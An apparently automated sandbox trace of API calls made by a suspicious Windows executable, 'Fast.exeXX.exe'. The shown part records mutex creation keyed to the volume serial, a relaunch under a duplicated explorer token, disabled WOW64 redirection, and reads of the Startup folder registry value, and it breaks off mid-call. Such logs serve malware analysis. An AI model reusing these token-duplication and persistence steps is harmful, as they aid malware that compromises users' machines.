# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 07.04.2020 14:07:32.202 Process: id = "1" image_name = "fast.exexx.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe" page_root = "0x54279000" os_pid = "0xa8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa08 [0066.567] GetProcessHeap () returned 0x470000 [0066.567] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x30) returned 0x47ec10 [0066.567] GetProcessHeap () returned 0x470000 [0066.567] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x33f0) returned 0x486120 [0066.576] GetProcessHeap () returned 0x470000 [0066.576] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x300) returned 0x489518 [0066.576] GetProcessHeap () returned 0x470000 [0066.576] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10) returned 0x481630 [0066.576] GetTickCount () returned 0x114a583 [0066.576] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x1cfd48, cchData=32 | out: lpLCData="\x03") returned 16 [0066.578] GetProcessHeap () returned 0x470000 [0066.578] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x483a78 [0066.578] GetProcessHeap () returned 0x470000 [0066.578] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x489858 [0066.578] GetProcessHeap () returned 0x470000 [0066.578] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x489a70 [0066.578] GetProcessHeap () returned 0x470000 [0066.578] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x489c88 [0066.578] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x489c88, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.578] GetProcessHeap () returned 0x470000 [0066.578] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c88 | out: hHeap=0x470000) returned 1 [0066.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lksf.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lksf.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.579] GetProcessHeap () returned 0x470000 [0066.579] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489858 | out: hHeap=0x470000) returned 1 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489a70 | out: hHeap=0x470000) returned 1 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483a78 | out: hHeap=0x470000) returned 1 [0066.579] GetVersion () returned 0x1db10106 [0066.579] GetCurrentProcess () returned 0xffffffff [0066.579] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1cfcdc | out: TokenHandle=0x1cfcdc*=0xa0) returned 1 [0066.579] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x1cfcd4, TokenInformationLength=0x4, ReturnLength=0x1cfcd8 | out: TokenInformation=0x1cfcd4, ReturnLength=0x1cfcd8) returned 1 [0066.579] CloseHandle (hObject=0xa0) returned 1 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x483a78 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x489858 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x489a70 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489858 | out: hHeap=0x470000) returned 1 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489a70 | out: hHeap=0x470000) returned 1 [0066.579] GetProcessHeap () returned 0x470000 [0066.579] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x483ac8 [0066.580] GetProcessHeap () returned 0x470000 [0066.580] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x483af0 [0066.580] GetProcessHeap () returned 0x470000 [0066.580] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x483b18 [0066.580] GetProcessHeap () returned 0x470000 [0066.580] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x489858 [0066.580] GetProcessHeap () returned 0x470000 [0066.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489858 | out: hHeap=0x470000) returned 1 [0066.580] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x483af0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.580] GetProcessHeap () returned 0x470000 [0066.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483b18 | out: hHeap=0x470000) returned 1 [0066.580] GetProcessHeap () returned 0x470000 [0066.580] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483ac8 | out: hHeap=0x470000) returned 1 [0066.580] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1cfc94, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1cfc94*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483af0 | out: hHeap=0x470000) returned 1 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x30) returned 0x489858 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x26) returned 0x489890 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x489890, Size=0x4a) returned 0x489890 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489858 | out: hHeap=0x470000) returned 1 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489890 | out: hHeap=0x470000) returned 1 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1c) returned 0x483af0 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1c) returned 0x483b18 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489870 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489898 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x4898c0 [0066.581] GetProcessHeap () returned 0x470000 [0066.581] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48a058 [0066.581] GetProcessHeap () returned 0x470000 [0066.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a058 | out: hHeap=0x470000) returned 1 [0066.582] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.582] GetProcessHeap () returned 0x470000 [0066.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4898c0 | out: hHeap=0x470000) returned 1 [0066.582] GetProcessHeap () returned 0x470000 [0066.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489870 | out: hHeap=0x470000) returned 1 [0066.582] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1cfc7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1cfc7c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.582] GetProcessHeap () returned 0x470000 [0066.582] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489898 | out: hHeap=0x470000) returned 1 [0066.582] GetProcessHeap () returned 0x470000 [0066.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x483e50 [0066.582] GetProcessHeap () returned 0x470000 [0066.582] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483e98 [0066.582] GetProcessHeap () returned 0x470000 [0066.582] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483e98, Size=0x72) returned 0x47f858 [0066.583] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0066.583] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0066.583] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483e50 | out: hHeap=0x470000) returned 1 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489870 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489898 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x4898c0 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48a058 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a058 | out: hHeap=0x470000) returned 1 [0066.583] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.583] GetProcessHeap () returned 0x470000 [0066.583] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4898c0 | out: hHeap=0x470000) returned 1 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489870 | out: hHeap=0x470000) returned 1 [0066.584] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1cfc64, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1cfc64*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489898 | out: hHeap=0x470000) returned 1 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x483e50 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3a) returned 0x483e98 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483e98, Size=0x72) returned 0x47f858 [0066.584] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0066.584] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa4 [0066.584] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x0 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x483e50 | out: hHeap=0x470000) returned 1 [0066.584] GetProcessHeap () returned 0x470000 [0066.584] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f858 | out: hHeap=0x470000) returned 1 [0066.584] ReleaseMutex (hMutex=0xa4) returned 1 [0066.585] CloseHandle (hObject=0xa4) returned 1 [0066.585] GetProcessHeap () returned 0x470000 [0066.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x30) returned 0x48a058 [0066.585] GetProcessHeap () returned 0x470000 [0066.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20a) returned 0x48a090 [0066.585] GetVersion () returned 0x1db10106 [0066.585] GetProcessHeap () returned 0x470000 [0066.585] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48a2a8 [0066.585] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0066.585] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0066.585] Wow64DisableWow64FsRedirection (in: OldValue=0x1cfcb8 | out: OldValue=0x1cfcb8*=0x0) returned 1 [0066.585] GetProcessHeap () returned 0x470000 [0066.585] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a2a8 | out: hHeap=0x470000) returned 1 [0066.585] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77710000 [0066.586] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0066.586] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x48a090, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.586] GetShellWindow () returned 0x100f2 [0066.586] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1cfcc4 | out: lpdwProcessId=0x1cfcc4) returned 0x458 [0066.586] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0xa4 [0066.586] OpenProcessToken (in: ProcessHandle=0xa4, DesiredAccess=0x2000000, TokenHandle=0x1cfcd4 | out: TokenHandle=0x1cfcd4*=0xa8) returned 1 [0066.587] DuplicateTokenEx (in: hExistingToken=0xa8, dwDesiredAccess=0x2000000, lpTokenAttributes=0x1cfc9c, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x1cfcd8 | out: phNewToken=0x1cfcd8*=0xac) returned 1 [0066.587] CreateProcessWithTokenW (in: hToken=0xac, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x1cfc50*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cfca8 | out: lpCommandLine=0x0, lpProcessInformation=0x1cfca8*(hProcess=0xf8, hThread=0xfc, dwProcessId=0x7a4, dwThreadId=0x308)) returned 1 [0066.777] GetProcessHeap () returned 0x470000 [0066.777] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x48ae38 [0066.777] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0066.777] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0066.777] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0066.777] GetProcessHeap () returned 0x470000 [0066.777] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0066.777] CloseHandle (hObject=0xa4) returned 1 [0066.777] CloseHandle (hObject=0xf8) returned 1 [0066.777] CloseHandle (hObject=0xfc) returned 1 [0066.777] CloseHandle (hObject=0xa8) returned 1 [0066.777] CloseHandle (hObject=0xac) returned 1 [0066.778] GetProcessHeap () returned 0x470000 [0066.778] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a090 | out: hHeap=0x470000) returned 1 [0066.778] GetProcessHeap () returned 0x470000 [0066.778] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48a058 | out: hHeap=0x470000) returned 1 [0066.778] Sleep (dwMilliseconds=0x1388) [0073.462] GetProcessHeap () returned 0x470000 [0073.463] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xd0) returned 0x48e648 [0073.463] GetProcessHeap () returned 0x470000 [0073.463] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0xc3) returned 0x48e290 [0073.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x274a72, lpParameter=0x48e290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0073.465] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x0) returned 0x102 [0073.465] CloseHandle (hObject=0xac) returned 1 [0073.466] GetProcessHeap () returned 0x470000 [0073.466] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e648 | out: hHeap=0x470000) returned 1 [0073.466] GetProcessHeap () returned 0x470000 [0073.466] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x60) returned 0x48ae38 [0073.466] GetProcessHeap () returned 0x470000 [0073.466] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x5c) returned 0x48d9e0 [0073.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x274a72, lpParameter=0x48d9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0073.467] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x0) returned 0x102 [0073.467] CloseHandle (hObject=0xac) returned 1 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489b90 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489d20 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489c08 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48ae38 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ae38 | out: hHeap=0x470000) returned 1 [0073.468] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x489d20, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.468] GetProcessHeap () returned 0x470000 [0073.468] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489b90 | out: hHeap=0x470000) returned 1 [0073.469] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1cfc9c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1cfc9c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.469] GetProcessHeap () returned 0x470000 [0073.469] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.469] GetProcessHeap () returned 0x470000 [0073.469] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x60) returned 0x48ae38 [0073.469] GetProcessHeap () returned 0x470000 [0073.470] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x20) returned 0x489d20 [0073.470] GetProcessHeap () returned 0x470000 [0073.470] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x1e) returned 0x489b90 [0073.470] GetProcessHeap () returned 0x470000 [0073.470] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x1e) returned 0x489c08 [0073.470] GetProcessHeap () returned 0x470000 [0073.470] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e360 [0073.470] GetProcessHeap () returned 0x470000 [0073.470] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.470] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x489b90, nSize=0xf | out: lpDst="") returned 0x2c [0073.470] GetProcessHeap () returned 0x470000 [0073.470] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489c08 | out: hHeap=0x470000) returned 1 [0073.470] GetProcessHeap () returned 0x470000 [0073.470] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x489b90, Size=0x3a) returned 0x483fb8 [0073.470] GetProcessHeap () returned 0x470000 [0073.470] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x3a) returned 0x484000 [0073.470] GetProcessHeap () returned 0x470000 [0073.471] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e360 [0073.471] GetProcessHeap () returned 0x470000 [0073.471] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.471] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x483fb8, nSize=0x1d | out: lpDst="") returned 0x2c [0073.471] GetProcessHeap () returned 0x470000 [0073.471] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484000 | out: hHeap=0x470000) returned 1 [0073.471] GetProcessHeap () returned 0x470000 [0073.471] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x483fb8, Size=0x72) returned 0x47f858 [0073.471] GetProcessHeap () returned 0x470000 [0073.471] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x72) returned 0x47f8d8 [0073.471] GetProcessHeap () returned 0x470000 [0073.471] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e360 [0073.471] GetProcessHeap () returned 0x470000 [0073.471] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.471] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x47f858, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0073.471] GetProcessHeap () returned 0x470000 [0073.471] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x47f8d8 | out: hHeap=0x470000) returned 1 [0073.471] GetProcessHeap () returned 0x470000 [0073.471] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x489d20 | out: hHeap=0x470000) returned 1 [0073.472] GetProcessHeap () returned 0x470000 [0073.472] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x40) returned 0x483fb8 [0073.472] GetProcessHeap () returned 0x470000 [0073.472] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x3e) returned 0x484000 [0073.472] GetProcessHeap () returned 0x470000 [0073.472] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x3e) returned 0x484048 [0073.472] GetProcessHeap () returned 0x470000 [0073.472] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e360 [0073.472] GetProcessHeap () returned 0x470000 [0073.472] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x481768 [0073.472] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbbc | out: phkResult=0x1cfbbc*=0xa8) returned 0x0 [0073.473] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1cfbb8, lpData=0x484048, lpcbData=0x1cfbc0*=0x3e | out: lpType=0x1cfbb8*=0x2, lpData=0x484048*=0x5c, lpcbData=0x1cfbc0*=0x98) returned 0xea [0073.473] RegCloseKey (hKey=0xa8) returned 0x0 [0073.473] GetProcessHeap () returned 0x470000 [0073.473] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x481768 | out: hHeap=0x470000) returned 1 [0073.473] GetProcessHeap () returned 0x470000 [0073.473] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e360 | out: hHeap=0x470000) returned 1 [0073.473] GetProcessHeap () returned 0x470000 [0073.473] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x484048 | out: hHeap=0x470000) returned 1 [0073.473] GetProcessHeap () returned 0x470000 [0073.473] RtlReAllocateHeap (Heap=0x470000, Flags=0x0, Ptr=0x484000, Size=0x7a) returned 0x48e360 [0073.473] GetProcessHeap () returned 0x470000 [0073.474] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x7a) returned 0x48e648 [0073.474] GetProcessHeap () returned 0x470000 [0073.474] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x90) returned 0x48e6d0 [0073.474] GetProcessHeap () returned 0x470000 [0073.474] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x10) returned 0x481768 [0073.474] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1cfbbc | out: phkResult=0x1cfbbc*=0xa8) returned 0x0 [0073.474] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1cfbb8, lpData=0x48e648, lpcbData=0x1cfbc0*=0x7a | out: lpType=0x1cfbb8*=0x2, lpData=0x48e648*=0x28, lpcbData=0x1cfbc0*=0x98) returned 0xea [0073.474] RegCloseKey (hKey=0xa8) returned 0x0 [0073.474] GetProcessHeap () returned 0x470000 [0073.474] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x481768 | out: hHeap=0x470000) returned 1 [0073.474] GetProcessHeap () returned 0x470000 [0073.474] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48e6d0 | out: hHeap=0x470000) returned 1 [0073.474] GetProcessHeap () returned 0x470000 [0073.474] HeapFree (in: 